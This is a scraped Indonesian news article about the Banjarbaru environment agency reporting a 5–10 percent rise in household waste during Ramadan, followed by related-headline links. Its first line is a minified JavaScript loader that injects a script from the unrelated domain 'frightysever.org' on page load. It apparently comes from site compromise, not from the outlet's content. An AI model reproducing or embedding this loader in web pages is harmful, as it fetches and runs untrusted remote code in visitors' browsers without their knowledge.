(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Salah satu masalah yang dihadapi setiap wilayah selama bulan Ramadhan adalah peningkatan jumlah sampah yang sangat fantastis. Tidak terkecuali di Kota Banjarbaru, yang mana Dinas Lingkungan Hidup (DLH) mencatat adanya kenaikan 5 hingga 10 persen.
Diungkapkan, Kepala DLH Banjarbaru, Sirajoni pada hari-hari biasanya jumlah sampah di Banjarbaru mencapai 110 ton per harinya. Namun, jumlah itu kian bertambah yang mana hingga lebih dari pekan kedua bulan Ramadan, rata-rata lonjakan tonase sampah mencapai 6 sampai 12 ton per harinya.
“Memang setiap tahunnya selalu terjadi peningkatan jumlah sampah di Kota Banjarbaru. Maksimal dalam satu harinya bisa mencaai 12 ton,” ujarnya, Jumat (31/5).
Peningkatan ini disebabkan oleh perubahan dan peningkatan pola konsumsi masyarakat pada waktu berbuka puasa dan sahur. Kenaikan jumlah sampah umumnya juga terjadi di daerah-daerah lain terutama kota-kota besar yang memiliki tren peningkatan konsumsi selama Ramadhan.
“Memang kebanyakan yang terjadi saat kita puasa, kita jadi ingin beli makanan dan minuman sebanyak-banyaknya. Namun yang terjadi, justru saat sudah berbuka malah kadang tidak habis dan karena itulah yang akhirnya memengaruhi produksi sampah kita,” lanjut Kadis LH Banjarbaru.
Dari catatan DLH Banjarbaru, ada beberapa jenis sampah yang signifikan melonjak khususnya sampah rumah tangga. Selain itu, kenaikan juga dialami sampat ritel, mall dan juga hotel meski tidak terlalu signifikan.
Bukam tanpa alasan, sampah rumah tangga yang melonjak paling tinggi. Pasalnya bulan Ramadhan selain sebagai bulan ibadah, namun juga menjadi bulan konsumtif. Selain identik dengan sampah yang bertambah signifikan, Ramadhan juga identik sebagai bulan inflasi karena meningkatnya permintaan masyarakat terutama terhadap sejumlah bahan pangan pokok dan sejumlah komoditas lain yang identik dengan puasa dan hari raya.
Melihat fenomena ini, Sirajoni mengatakan bukan jadi kendala bagi DLH dalam menangani dan mengelola persampahan. Bahkan katanya di areal Pasar Ramadan, pihaknya menyiagakan enam petugas kebersihan khusus. “Ada petugas tambahan di pasar (ramadan), kalau memang diperlukan kita tambah armada juga. Yang jelas Alhamdulillah sejauh ini tidak ada terjadi penumpukan,” tegasnya. (Rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.